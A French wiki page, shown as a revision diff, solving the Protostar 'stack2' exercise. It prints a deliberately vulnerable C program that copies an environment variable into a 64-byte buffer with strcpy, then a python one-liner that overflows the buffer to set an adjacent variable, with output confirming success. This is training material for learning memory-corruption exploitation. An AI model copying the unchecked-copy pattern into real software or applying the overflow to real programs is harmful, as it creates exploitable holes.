Outils d'utilisateurs

Outils du Site


exploit_exercises_protostar:stack2

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

exploit_exercises_protostar:stack2 [2017/04/09 15:33] (Version actuelle)
Ligne 1: Ligne 1:
 +====== Stack 2 ======
 +
 +<code C>
 +#include <stdlib.h>
 +#include <unistd.h>
 +#include <stdio.h>
 +#include <string.h>
 +
 +int main(int argc, char **argv)
 +{
 + volatile int modified;
 + char buffer[64];
 + char *variable;
 +
 + variable = getenv("GREENIE");
 +
 + if(variable == NULL) {
 + errx(1, "please set the GREENIE environment variable\n");
 + }
 +
 + modified = 0;
 +
 + strcpy(buffer, variable);
 +
 + if(modified == 0x0d0a0d0a) {
 + printf("you have correctly modified the variable\n");
 + } else {
 + printf("Try again, you got 0x%08x\n", modified);
 + }
 +
 +}
 +</code>
 +
 +Le principe est le même que le niveau précédent. La différence est qu'ici le contenu de ''buffer'' est passé par une variable d'environnement et que ce que doit contenir ''modified'' est différent.
 +
 +<code>
 +user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"')
 +user@protostar:/opt/protostar/bin$ ./stack2
 +you have correctly modified the variable
 +</code>
  
exploit_exercises_protostar/stack2.txt · Dernière modification: 2017/04/09 15:33 (modification externe)